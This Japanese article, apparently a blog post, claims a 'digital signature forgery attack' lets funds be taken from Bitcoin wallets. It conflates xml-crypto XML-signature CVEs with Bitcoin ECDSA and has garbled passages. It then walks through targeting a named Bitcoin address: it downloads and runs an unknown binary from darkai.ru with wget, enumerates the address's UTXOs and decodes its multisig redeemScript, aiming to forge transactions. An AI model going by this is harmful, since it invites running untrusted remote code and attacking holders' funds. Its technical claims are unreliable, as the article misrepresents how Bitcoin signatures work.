この記事では、暗号学的攻撃であるデジタル署名偽造攻撃(Digital Signature Forgery Attack)について見ていきます。デジタル署名は暗号通貨送金の所有権と承認を確認するため、その影響はビットコインネットワークにおける取引のセキュリティに脅威をもたらします。最新の研究と特定された脆弱性に基づいて、このような攻撃がビットコインに与える影響の例を検討します。
デジタル署名偽造攻撃(Digital Signature Forgery Attack)とは、攻撃者がビットコインネットワークによって有効と認識される偽のECDSAデジタル署名を作成しようとする試みです。この攻撃により、所有者の秘密鍵を知らなくても取引を承認でき、BTCコイン保有者の暗号通貨ウォレット内の資金の安全性が危険にさらされます。
暗号技術において、デジタル署名はメッセージまたは取引の真正性の確認を提供します。署名偽造とは、実際には秘密鍵の所有者によって作成されたものではないにもかかわらず、システムによって有効として受け入れられる「RawTX」ペアを作成できることを意味します。これにより、詐欺、資金の窃取、ブロックチェーンの完全性の侵害への道が開かれます。暗号学的攻撃としてのデジタル署名偽造攻撃(DSFA)は、Node.jsプラットフォーム上でXML文書の署名を検証するためにxml-cryptoライブラリを使用するソフトウェアコンポーネントに実装されています。
まず第一に、これはエンタープライズ統合ソリューション、クラウドサービス、シングルサインオンシステムに関係します。例えば、IBM App Connect Enterprise Certified Containerや、SAML認証および承認のためにxml-cryptoに依存するその他のアプリケーションなどです。ハードウェアの脆弱性は特定の物理デバイスに関連するものではなく、脆弱なライブラリを使用するソフトウェア製品に実装されます。
デジタル署名偽造攻撃(Digital Signature Forgery Attack)として知られる脆弱性CVE-2025-29774およびCVE-2025-29775は、Node.jsプラットフォーム上でXML文書にデジタル署名し暗号化するためのライブラリである xml-crypto ソフトウェアライブラリ に実装されています。


したがって、このコードはさまざまなスキーム(異なるSHAハッシュを使用したRSAおよびHMAC-SHA1)の暗号署名および署名検証アルゴリズムを実装しており、データのデジタル署名を必要とするシステムに統合できます。
signature-algorithms.ts コード は、デジタル署名を安全に作成および検証し、データの真正性と完全性を保証するために使用されます。ECDSA署名は秘密鍵を使用して作成者を検証し、HMACは秘密鍵を使用して完全性と真正性を検証します。使用されるアルゴリズムはXMLデジタル署名標準に準拠しています(アルゴリズムのURIはW3C仕様を指しています)。
したがって、signature-algorithms.ts コードは、さまざまなスキーム(ECDSA、異なるSHAハッシュを使用したRSA、HMAC-SHA1)の暗号署名および署名検証アルゴリズムを実装しており、デジタルデータ署名を必要とするシステムに統合できます。
SignatureAlgorithm を実装し、以下のメソッドを提供します:
getSignature):署名データと秘密鍵を受け取り、base64形式のデジタル署名を返します。verifySignature):入力、公開鍵、署名を受け取り、署名が正しいかどうかを示すブール値を返します。getAlgorithmName):使用される署名アルゴリズムを識別するURIを返します。crypto.createSign および crypto.createVerify クラスが使用されます。crypto.createHmac が使用されます。createOptionalCallbackFunction でラップされており、おそらくコールバックとプロミスの両方で使用できるようになっています(詳細はコードに記載されていません)。RSA-SHA1 アルゴリズム の暗号署名での使用には、SHA-1ハッシュ衝突に関連する脆弱性が含まれています。これにより、攻撃者が署名されるデータの一部を制御できる場合、同じ署名を持つ2つの異なるメッセージを作成できます。
具体的には、問題は RsaSha1 クラスにあります:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line
また、2番目の脆弱性も RsaSha1 クラスにあります:
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line
HmacSha1は脆弱性は低いですが、時代遅れでもあります。HMACは「素の」SHA-1よりも衝突耐性がありますが、SHA-256への切り替えが望ましいです。
CVE-2025-29774およびCVE-2025-29775は、XML文書内のデジタル署名の不適切な検証に関連する、Node.js用xml-crypto ライブラリの重大な脆弱性です。両方の脆弱性により、攻撃者は署名検証で気付かれない方法で署名付きXMLメッセージを改変できます。
提供された コード では、RsaSha1クラスが署名と検証にレガシーな RSA-SHA1 アルゴリズムを使用しています:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line №7
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line №17SHA1は暗号学的に安全ではないと見なされており、主な問題は XML構造に対するライブラリの処理ロジック にあります:
<SignedInfo> ノード をXML文書に追加し 、その結果、検証中に誤ったハッシュ計算が行われます。<Signature> <SignedInfo>...</SignedInfo> <!-- Original knot --> <SignedInfo>...</SignedInfo> <!-- Added by an attacker --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> ノードが正確に1つあるか確認する。これらの脆弱性への対応は、認証にXML署名を使用するシステム(例: SAML、SOAP)にとって重要です。

xml-crypto ライブラリは、SAML、SOAPなどのプロトコルを含むXMLメッセージのデジタル署名の検証に広く使用されています。したがって、この脆弱性は以下のものに影響を与える可能性があります:
特定のデバイスのリスクを評価するには、脆弱なバージョンの xml-crypto を使用しているか、類似のXML署名メカニズムに依存しているかを確認することをお勧めします。Node.jsベースの暗号通貨ウォレットの操作には、IBMは別のソリューションを提供しています。例えば IBM Secure Bitcoin Wallet は、Electrum Bitcoin Clientをベースにしたアプリケーションで、Node.jsを使用してビットコインネットワークと対話し、ウォレットを管理します。
このソリューションでは、秘密鍵とウォレットを IBM Cloud Hyper Protect Crypto Services (zHSM) を使用して保存および暗号化できます。zHSMはハードウェアベースの安全な鍵保管を提供します。ビットコインウォレットの秘密鍵の生成は通常、Electrum、bitcoinjs-libなどの専門的な暗号化ライブラリで実装され、Node.jsアプリケーションに統合できます。IBM Secure Bitcoin Walletは、Node.js上で修正されたElectrumバックエンドを使用して鍵とトランザクションを管理し、IBM Cloud Hyper Protect Crypto Servicesと統合することで、ハードウェア暗号化と秘密鍵の安全な保管を提供します。
脆弱性 CVE-2025-29775 の理論から、攻撃者が未更新の xml-crypto ライブラリを処理して不正なトランザクション値を作成できることが知られています。記事の実践編に移り、ビットコインウォレットの例を考えてみましょう: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe 。このウォレットでは 0.059672 BTC のコインが失われており、2025年7月現在、この金額は 7, 052 USD です。
形式を考えてみましょう: Raw transaction のバイナリおよび16進データには、トランザクション に関するすべての情報が含まれています。これは、低レベルでトランザクションを送信、検証、作成するために必要であり、ビットコインネットワーク全体の動作の基盤です。通常のユーザーが Raw transactions に直接触れることはほとんどありませんが、開発者や暗号通貨愛好家にとっては、ビットコインネットワークのすべてのトランザクションを完全に制御するための主要なツールです。

ビットコインネットワークでUTXOオブジェクトを完全に取得するために、 Dark AI ツールを使用します。UTXOはブロックチェーンのデータ構造の主要部分であり、秘密鍵の保有者(このビットコインアドレスを管理する)が使用できる暗号通貨のBTCコインの量を表します。各UTXOは、後続のトランザクションで入力として使用されたことのない、特定の過去のトランザクションの出力です。

コマンド:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— HTTP、HTTPS、FTPプロトコルを介してネットワークからファイルをダウンロードするためのコマンドラインユーティリティ。neuralnet_tools.zipunzip— 現在のディレクトリでZIPアーカイブを解凍するコマンド。このコマンドは neuralnet_tools.zip からすべてのファイルを解凍します。
!unzip neuralnet_tools.zip
素早く簡単に表示するために ls コマンドを実行しましょう
ls

!./darkai
指定されたビットコインアドレスの、いわゆる 未使用トランザクション出力 ( UTXO 、解読: Unspent Transaction Output )に関する情報を取得するコマンドを実行しましょう。この情報は、アドレスの残高と新しいトランザクションを実行する可能性を評価するために重要です。
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]各UTXOに含まれるもの:
<txid>:<n>。ここで <txid> は一意のトランザクションハッシュ、<n> はこのトランザクションの出力リスト内の出力番号です。8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0アドレスの利用可能な総残高は、見つかったすべてのUTXOの合計に等しくなります:

解釈プロセスを使用して、未更新の xml-crypto ライブラリを処理し、無効なトランザクション値を作成して多額の金額を送信します。Dark AIアルゴリズムが、使用するUTXO(または両方の組み合わせ)を選択します。
ビットコインアドレス 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe には、合計 0.05677200 BTC の2つのアクティブなUTXOがあります。これらの資金は新しいトランザクションの作成に使用できます。両方の出力は確認済みかつ未使用とみなされます。

ビットコイントランザクションの出力に関する情報の断片を取得するには、次のコマンドを使用します。ここで、トランザクションの最初の出力(
outs)は一意の識別子8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdを持ちます
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — この出力を使用するための条件を定義するスクリプト。
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87 で始まり、これは P2SH(Pay to Script Hash)形式に対応します:
a9— OP_HASH160 (ハッシュ演算子)14— 次の値の長さ (20バイト = 40文字の16進数)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— BTCコインが保管されているBitcoinウォレットアドレス自体のhash160。87— OP_EQUAL (2つのデータを比較して同一性を検証する、Bitcoin Scriptの基本コマンド演算子)識別子
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdによるトランザクションのデシリアライズの結果、最初の出力が取得されました。この出力には677,200サトシ(0.00677200 BTC)が含まれており、P2SHスクリプトによって保護されています。これらの資金を管理するには、宛先スクリプトを提示し、指定されたハッシュの条件を満たすロック解除トランザクションに正しく署名する必要があります。

ビットコイントランザクションの元のデータ(
output)の出力に関する情報の断片を取得するには、次のコマンドを適用します。ここで、一意の識別子bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786を持つトランザクションの最初の出力(outs)は
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786解釈プロセスを使用して、Dark AI のデシリアライズ関数を用いることで、識別子bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786 を持つ2番目のトランザクションの最初の出力要素( output)の構造に関する情報を取得します。
結果:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs' で指定された特定のトランザクション出力に関連付けられています。フィールド 'script' で定義されたスクリプトに記述された条件が満たされた場合にのみ使用できます。
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'指定された値は、ビットコインネットワークの標準スクリプトタイプに対応します:
a9— オペコード OP_HASH160(次のデータからSHA-256を経てRIPEMD-160を生成します)。14— 後続フィールドの長さ:20バイト(40文字の16進数)。06612b7cb2027e80ec340f9e02ffe4a9a59ba762— ビットコインウォレットアドレスまたはスクリプトを識別する20バイトのハッシュです。87— オペコード OP_EQUAL。まとめると、この記述はP2SHアドレス(Pay-to-Script-Hash)を意味します。この場合、資金は特定のスクリプトの組み合わせに割り当てられ、引き出すには、ここに記録されたハッシュを持つスクリプトを明らかにし、このスクリプトの条件を満たす署名(またはその他のデータ)を提示する必要があります。
このスキームの最も一般的な用途は、マルチシグネチャ、単純および複雑なスマートコントラクト、二者間マルチシグネチャ、条件付きセキュリティスキーム、その他の高度なシナリオです。
06612b7cb2027e80ec340f9e02ffe4a9a59ba762に対応するP2SHアドレスに0.05 BTC(5,000,000サトシ)が「ロック」されている出力があります。したがって、デシリアライズ結果は、条件付き(P2SH)アドレスに特定の量のビットコインが存在することを報告し、その使用に関する厳格なルールを定義します。これは、ビットコインネットワークにおける資金の管理と会計において重要な役割を果たします。

スクリプト 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'は、ビットコインネットワークにおける典型的なP2SH(Pay-to-Script-Hash)ロッキングスクリプトを表すため、このトランザクション出力で選択され使用されています。
それを一つずつ見てみましょう:
a9— OP_HASH160:後続のデータに最初にSHA-256、次にRIPEMD-160を適用するハッシュ操作です。14— ハッシュ長は20バイト(16進形式)です。06612b7cb2027e80ec340f9e02ffe4a9a59ba762— スクリプトハッシュとして知られるスクリプトの20バイトハッシュです。87— OP_EQUAL:スタック上の2つの値の等価性をチェックする演算子です。したがって、このスクリプトは、使用時(資金の使用)にハッシュが 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 と一致するスクリプトが提示され、かつこのスクリプトの条件が満たされることを要求します。
スクリプト
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'はP2SHロッキングスクリプトであり、0.05 BTCを使用するには、ハッシュ06612b7cb2027e80ec340f9e02ffe4a9a59ba762を持つ元のスクリプトを提供し、その中で指定された条件を満たす必要があることを示しています。これにより、利便性、セキュリティ、機能性のバランスが提供されます。これが、このトランザクションでこの特定のスクリプトが選択された主な理由です。P2SHスクリプト内のハッシュ06612b7cb2027e80ec340f9e02ffe4a9a59ba762は、この出力から資金を使用するための条件を決定する元のスクリプト(Redeem Script)を特定の方法でハッシュ化した結果です。
06612b7cb2027e80ec340f9e02ffe4a9a59ba762です。このハッシュは、生成された正確なスクリプトを一意に識別します。SHA-256 + RIPEMD-160)を使用して生成されたため、ランダムまたは恣意的に異なるハッシュを選択することはできません。a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287に含まれる理由です。したがって、この特定のハッシュの選択は、ブロックチェーン内の資金へのアクセスを制御する特定の使用条件と出力を正確かつ安全にリンクする必要性によって決まります。これらはすべて、暗号学的ハッシュ関数の特性、その一意性、および元のデータの逆回復の不可能性によって保証されます。
Bitcoin開発者は、セキュリティを確保しブロックチェーンネットワークの機能を拡張する重要な革新として、P2SH (Pay-to-Script-Hash)メカニズムをコードに組み込みました。このスクリプトの構造と動作原理、従来のトランザクションとの違い、そしてデジタル資産の保存と保護のためにこのアプローチが選ばれた理由を考察してみましょう。
従来、Bitcoinのトランザクションは、Pay-to-Pubkey-Hash (P2PKH)スキームを使用して機能してきました。これは、受信者の公開鍵ハッシュを使用して資金が「ロック」される仕組みです。これらの資金を使用するには、ユーザーは自分のデジタル署名と公開鍵を提供する必要があり、これらはネットワークによって検証されます。
しかし、P2PKH以外のインターフェースは限られていました。Bitcoin Scriptは、マルチシグネチャからタイムロック、その他のスマートコントラクト契約に至るまで、はるかに複雑な支出条件を可能にするからです。問題は、長く複雑なスクリプトが必然的にトランザクションのサイズを増大させ、使いやすさを低下させることでした。
このような複雑なシナリオとのやり取りを簡素化するために、P2SHコンセプトが2012年に導入され、Gavin AndresenによってBIP 16として標準化されました。P2SHの本質は、scriptPubKey内の支出条件の完全なスクリプトを、その暗号学的ハッシュ – いわゆるスクリプトハッシュ – に置き換えることにあります。

デシリアライズの結果として指定されたスクリプトを見てみましょう:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALこのスクリプトは標準のP2PKHとは異なり、公開鍵ハッシュの代わりにredeemScriptのハッシュ – 資金を使用できる条件のセット – を格納します。
そのような資金を使用するには、この出力を参照するトランザクションの入力 (scriptSig) で以下を送信する必要があります:
トランザクション処理時に、ネットワークノードは:
このようにP2SHは、支出条件の提示と検証の責任を、送信者 (必要なスクリプトを作成する側) から支出者へと移行させます。
P2SHを使用すると、任意の、多くの場合複数レベルの条件を持つアドレスを作成できます。たとえば、マルチシグネチャ要件 (2-of-3、3-of-5など)、時間制限、配分ロジックなどです。この場合、送信者は技術的な詳細に入り込むことなく、単にコンパクトなハッシュアドレスに資金を送信します。
完全なスクリプトをブロックチェーンに保存する代わりに、トランザクションにはそのハッシュのみが保存されます。これにより、ネットワークへの負荷が軽減され、ブロックのサイズが縮小され、トランザクションの検証が高速化されます。
redeemScriptは使用時にのみ公開・検証されるため、条件の機密性が高まり、不正アクセスの試みがより困難になります。暗号学的ハッシュ関数の使用により、偽造や改ざんに対する保護が保証されます。スクリプトにわずかな逸脱があっても、異なるハッシュが生成されるため、ネットワークはトランザクションの受け入れを拒否します。
P2SHはBitcoinにおける複雑なスマートコントラクトの使用を標準化・簡素化し、統合を容易にし、さまざまなウォレットやサービスとの互換性を高めます。
典型的な例は、トランザクションを完了するために5人の参加者のうち2人の署名を必要とするウォレットです。P2SHの場合:
このため、P2SHは企業アカウント、ジョイントベンチャー、その他のアクセス制御が必要な状況に最適です。Pay-to-Script-Hash (P2SH)メカニズムはBitcoinアーキテクチャの基本部分であり、以下のバランスを提供します:
P2SHの文脈におけるredeem scriptの意味と役割
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577は、0.0035 BTCを含む出力に関連付けられています。06612b7cb2027e80ec340f9e02ffe4a9a59ba762を持つスクリプトによって制御されるP2SHアドレスに結び付けられています。
受け取った情報は、2番目のトランザクション出力レコード
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577が、hash160値06612b7cb2027e80ec340f9e02ffe4a9a59ba762を持つ標準的なP2SHスクリプトによって制御される0.0035 BTCの金額を格納していることを確認します。これらの資金を管理するには、対応するredeem scriptを提示する必要があり、これによりビットコインの管理における高いレベルのセキュリティと柔軟性が提供されます。
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeコマンドを実行してHASH160を取得しましょう。Bitcoin開発者は、20バイトのハッシュ(16進数)の標準を設定しました。これは、スクリプトと公開鍵の短縮識別子を表すために、他の人気のある暗号通貨(Bitcoin(BTC)、Ethereum(ETH)、Tether(USDT)、BNB(BNB)、Solana(SOL)、XRP(XRP)、Cardano(ADA)、Dogecoin(DOGE)、USDC(USDC)、Polkadot(DOT)、Avalanche(AVAX)、Shiba Inu(SHIB)、Stellar(XLM)、TRON(TRX)、Chainlink(LINK)、Litecoin(LTC)、Bitcoin Cash(BCH)、Monero(XMR)など)でも変更なしで広く使用されています。
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae処理プロセス:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762この20バイトのハッシュ(16進数)はHASH160と呼ばれ、Bitcoinでスクリプトと公開鍵の短縮識別子を表すために広く使用されています。
暗号化ハッシュ関数を使用したBitcoinスクリプトの処理における重要なステップです。
シリアライズされたスクリプトまたは公開鍵をHASH160に変換すると、Bitcoinブロックチェーン上のデータの効率的な識別、インデックス作成、および保護が可能になります。
受信したハッシュ:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}チームは、複雑なスクリプトと、Bitcoinネットワーク上でトランザクションを保存および検証するために使用されるコンパクトな形式との間のリンクとして機能する正確なハッシュを生成しました。
サトシ・ナカモトは、ネットワークの暗号強度とセキュリティを強化するいくつかの重要な理由から、BitcoinのハッシュアルゴリズムでSHA-256の二重ハッシュ(つまり、SHA-256を連続して2回適用すること)を選択しました。
二重使用
SHA-256は、Bitcoinシステム全体に追加のセキュリティレイヤーと堅牢な暗号強度を提供するためのサトシ・ナカモトによる意図的な選択です。この設計は衝突リスクを最小限に抑え、一方向性を強化し、ブロックチェーンネットワーク上のデータを安全に保護し、システム内のトランザクションセキュリティとコンセンサスのための強固な基盤を築きます。したがって、二重SHA-256は、高度な暗号技術と分散システムを組み合わせたBitcoinアーキテクチャの重要な要素です。

現代のBitcoinトランザクションのセキュリティと柔軟性は、資金を使用するための複雑な条件を可能にするスクリプトシステムに基づいています。重要なメカニズムの1つはマルチシグネチャ(multisig)です。これは、可能な署名のセットからの複数の有効なデジタル署名がある場合にのみ資金を使用できるようにするものです。この記事では、これがBitcoinで正確にどのように実装されているか、redeemScriptとは何か、OP_CHECKMULTISIG命令がどのように機能するか、そしてなぜそのようなアプローチが求められているのかを詳しく見ていきます。
Bitcoinの文脈では、redeemScriptは、資金を使用するための条件を含むスクリプトであり、Pay-to-Script-Hash(P2SH)形式でトランザクション出力に保存されます。完全なスクリプトをブロックチェーンに保存する代わりに、redeemScriptのハッシュが出力に保存され、スペースを節約し、使用時まで条件の詳細を隠します。
RedeemScriptには、例えば複数の公開鍵と、しきい値数の署名を含めることができます。これは、マルチシグネチャウォレットが実装しているものです。
OP_CHECKMULTISIG命令(その目的と動作)を見てみましょう。マルチシグネチャチェックを実装するredeemScriptの主要な要素はOP_CHECKMULTISIGです。
OP_CHECKMULTISIGの実装における歴史的なバグにより、実行中にスタックから1つの余分な要素(未使用の値)が削除されます。この問題を回避するために、scriptSigは先頭に特別な要素
OP_FALSE(値0)を使用します。これにより、このバグが補償され、潜在的な脆弱性が防止されます。
OP_FALSE <signature1> <signature2> ... <redeemScript> ここで、スクリプトの最初の要素はダミーのOP_FALSEです。redeemScriptコードに基づく:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIG操作は、提供された2つの署名(scriptSig内)が3つの鍵のうちの2つに対応し、有効であることをチェックします。OP_FALSEは、余分な値を削除するバグを補償します。OP_FALSEの歴史にもかかわらず、このメカニズムはその信頼性を実証し、広く応用されています。RedeemScript と OP_CHECKMULTISIG 命令を組み合わせた仕組みは、ビットコインのツール群の中でも複雑かつ強力なものです。署名閾値を備えたマルチシグネチャウォレットを作成でき、資金に対する高度なセキュリティと管理を提供します。このメカニズムは、分散型で安全な環境で資産の共同管理を活用したい組織、ユーザー、サービスの基盤となっています。つまり、redeemScript と OP_CHECKMULTISIG によるマルチシグネチャは、単なる技術ではなく、古典的な暗号通貨モデルの可能性を拡張する機能なのです。

ビットコインのマルチシグネチャ検証メカニズムは、OP_CHECKMULTISIG と redeemScript 命令を使用した特別なスクリプトに基づいています。これにより、閾値署名の照合が可能になり、セキュリティの向上と資金の共同管理が実現します。
マルチシグは、トランザクションを完了するために、指定された公開鍵セットからの複数の有効な署名を必要とするシステムです。典型的なスキームは m of n と表記されます。たとえば「2 of 3」は、3つの鍵のうち任意の2つの署名があれば支出を承認できることを意味します。
ビットコインでは、このロジックは次のように実装されます:
命令
OP_CHECKMULTISIGは、提供されたscriptSigの署名が有効であり、redeemScript に公開されている公開鍵と一致することを検証します。
RedeemScript はおおよそ次のような構造です:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_Mと OP_N— それぞれ必要な署名数と公開鍵の総数を指定する命令(例: OP_2 と OP_3)。<pubkeyX>— 参加者の公開鍵。OP_CHECKMULTISIG— マルチシグネチャ検証を実装するオペレータ。mに達すると、操作は true を返します。重要な技術的特徴として、
OP_CHECKMULTISIGには歴史的な実装バグがあり、スタックから余分な未使用要素が削除されます。このバグを補正するために、scriptSigの先頭に値OP_FALSE(コード0)を置いてスタックのずれを「ロック」します。
マルチシグネチャ「2 of 3」のウォレットでは、資金を支出する前に scriptSigが次のように形成されます:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE— OP_CHECKMULTISIG のバグを補正するためのダミー値。<signature1>と <signature2>– 対応する秘密鍵の所有者によって承認された2つのデジタル署名。<redeemScript>— 公開鍵と検証パラメータを含むスクリプト自体。ノードがトランザクションを検証するとき:
トランザクションのすべての入力がこのチェックを通過した場合、そのトランザクションは有効とみなされます。この有効性により、攻撃者はこのバグのオペレータを実行することで、 OP_CHECKMULTISIG を潜在的な脆弱性として補正します。
OP_CHECKMULTISIGコマンドと redeemScript を使用したビットコインのマルチシグネチャ検証メカニズムにより、複雑な閾値署名スキームを設定できます。また、このバグのオペレータを実行することで、攻撃者はビットコインの分散ネットワークにおける制御されたトランザクションにおいて、 OP_CHECKMULTISIG を潜在的な脆弱性として補正します。
OP_CHECKMULTISIGで複数の署名を検証する場合の特徴と制限は何でしょうか? 主要な側面と制限を見てみましょう:
OP_FALSEが追加され、スタックを適切に整列させます。これはコミュニティによって認識され、受け入れられている機能です。
ビットコインはトランザクションを承認するためにデジタル署名を使用し、資金の所有者がその資金を処分する権利を確認できるようにします。特徴的なのは、署名がその適用範囲をトランザクション全体ではなく、その一部に限定できることです。これは特別なフラグ – SIGHASH を使用して実装され、トランザクションデータのどの部分が署名の対象になるかを決定します。署名ハッシュのタイプ、その目的、使用例、および非標準的な状況で発生する特徴を見てみましょう。
ビットコインのトランザクションに署名する際、トランザクションデータの特定の断片に対して形成されるデジタル署名が作成されます。署名がこのデータのどの部分をカバーするべきかは、SIGHASH フラグによって示されます。署名ハッシュタイプは署名自体の最後のバイトで伝達され、ハッシュに含まれる範囲、つまり署名されるセクションを決定します。これにより、署名者がトランザクション上のどの特定のアクションを承認するかについて、条件を柔軟に形成できます。
これは、ほとんどのウォレットとクライアントでデフォルトの署名タイプです。署名はトランザクションの すべての入力とすべての出力 をカバーします。つまり:
この署名タイプでは、 すべての入力が署名されますが、出力は1つも署名されません :
この署名タイプはすべての入力を署名しますが、出力は1つだけ – 入力と同じシーケンス番号を持つ出力 のみを署名します:
3つの入力を持つトランザクションを考えてみましょう。そのうち2つの署名スクリプト(scriptSig)から、SIGHASH_SINGLE を示すバイト
0x03で終わる署名が抽出されています。つまり、対応する入力と出力のペアのみに署名する署名です。しかし、ここで次のような状況が観察されます: インデックス2の入力には、同じインデックスを持つ対応する出力がありません。

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

ビットコインの歴史的なバグにより、このような状況では署名用のトランザクションハッシュが固定数値 – 1(int 1)として返されます。これは署名対象のトランザクションの有効なハッシュに対応しておらず、セキュリティと互換性の問題を引き起こす可能性があります。
3つの基本的な SIGHASH 値に加えて、 SIGHASH_ANYONECANPAY フラグとの組み合わせが可能です。これにより、1つの入力のみに署名し、他の入力を変更可能な状態に残すことができます。これにより、異なる参加者が自分の部分のみに署名する、複雑な協調プロトコルやマルチパーティトランザクションを作成する可能性が広がります。
SIGHASHタイプは、Bitcoinトランザクション内でのデジタル署名の制御レベルと範囲を管理するための巧妙なメカニズムです。これらは、セキュリティ、柔軟性、互換性のバランスを取ります。この物語には、対応する出力がない場合のSIGHASH_SINGLEのバグなどの予期しない複雑さが含まれており、高度なレベルでビットコインを扱うために技術的な詳細を深く理解することの重要性を浮き彫りにしています。
SIGHASH_ALL、SIGHASH_NONE、SIGHASH_SINGLE の署名タイプの違いは、ビットコイン取引の セキュリティ に大きな影響を与えます。なぜなら、これらの違いによって、デジタル署名に含まれ、したがって改ざんから保護される取引の部分が決定されるからです。
ビットコイン取引署名における SIGHASH_ALL の誤用、または正しい実装の欠如は、資金のセキュリティとシステムの完全性に影響を与える深刻な脆弱性につながる可能性があります。これらの脆弱性の主要な側面は次のとおりです:
| Sighash タイプ | 署名対象 | セキュリティレベル | 発生しうるリスク | 用途 |
|---|
| SIGHASH_ALL | 取引のすべての入力と出力 | 最大 – 変更は一切不可 | 変更が必要な場合(取引の再署名が必要) | ほとんどの支払いの標準 |
| SIGHASH_NONE | すべての入力、 出力なし | 中 – 出力は保護されない | 出力の置換、受取人に対する制御の喪失 | 協調シナリオ、マルチシグネチャ |
| SIGHASH_SINGLE | すべての入力、入力に対応するインデックスの出力 | 低 – 1つの出力のみ保護される | 対応する出力が存在しない場合のバグ、部分的な置換 | 部分支払い、複雑なシナリオ |